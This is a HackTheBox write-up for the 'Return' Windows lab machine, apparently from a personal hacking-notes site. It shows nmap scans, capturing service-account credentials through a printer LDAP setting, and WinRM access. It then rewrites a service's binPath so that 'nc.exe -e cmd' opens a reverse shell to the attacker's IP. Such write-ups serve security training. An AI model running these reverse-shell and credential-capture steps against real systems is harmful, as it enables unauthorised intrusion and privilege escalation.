> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md). # Return HackTheBox Writeup Return HackTheBox Easy Windows machine writeup covering Network Printer Abuse, Abusing Server Operators Group, Service Configuration Handling, with practical enumeration, exploitation, foothold, and p {% embed url="" %} {% hint style="warning" %} **Skills:** * Network Printer Abuse * Abusing Server Operators Group * Service Configuration Handling {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.108 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard.

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49679,49682,4969 10.10.11.108 -oN targeted ```

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file

#### Port 80:

## Network Printer Abuse In port 80 settings, a server configuration pointing to `print.return.local` via port 389 is discovered.

**Listen to Port 389**/ By placing `netcat` on the 389 port ```bash nc -nlvp 389 ``` * A connection is received, revealing the credentials of a `svc-printer` user with the `1edFg43012!!` password.

**Identifier verification with WinRM** As the WinRM port (5985) is open, the IDs are checked with `crackmapexec`: ```bash crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!' ``` * The "pwned" answer confirms the validity of the credentials.

**Login via Evil-WinRM** Using `evil-winrm` to get a shell session with `svc-printer`:

evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'

### Flag user.txt :)

## Privilege Escalation (Integrity Levels): {% embed url="" %} **Audit of the Groups of Members**/ The `whoami /groups` command indicates that the user belongs to the `Mandatory Label/High Mandatory Level` group, allowing him to manage the services.

**Service manipulation for privilege escalation**/ The user can potentially modify a service and restart it to execute a command with higher privileges.

**Creation of a Service**/ An attempt to create a shell reverse service is made with `sc.exe`, but without the necessary rights:

sc.exe create reverse binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443"

**VMTools service modification**/ To operate an existing service, `nc.exe` is transferred to the target machine, then the `VMTools` service is modified to run a shell reverse: * **Netcat Transfer** ```bash cp /home/jordan/Desktop/htb/artic/scripts/netcat/nc.exe . ``` ```powershell upload /home/jordan/Desktop/htb/return/content/nc.exe ```

The idea here is to redirect the executable of a service to execute a shell reverse command, giving you potentially a session with high privileges if the service runs with `SYSTEM` privileges. ```powershell sc.exe config VMTools binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443" ```

**Restart Service**/ After configuration, the service is restarted to launch the shell:

sc.exe stop VMTools
sc.exe start VMTools

Listen to port 443 for incoming connection: ```bash sudo rlwrap nc -nlvp 443 ```

### Flag root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.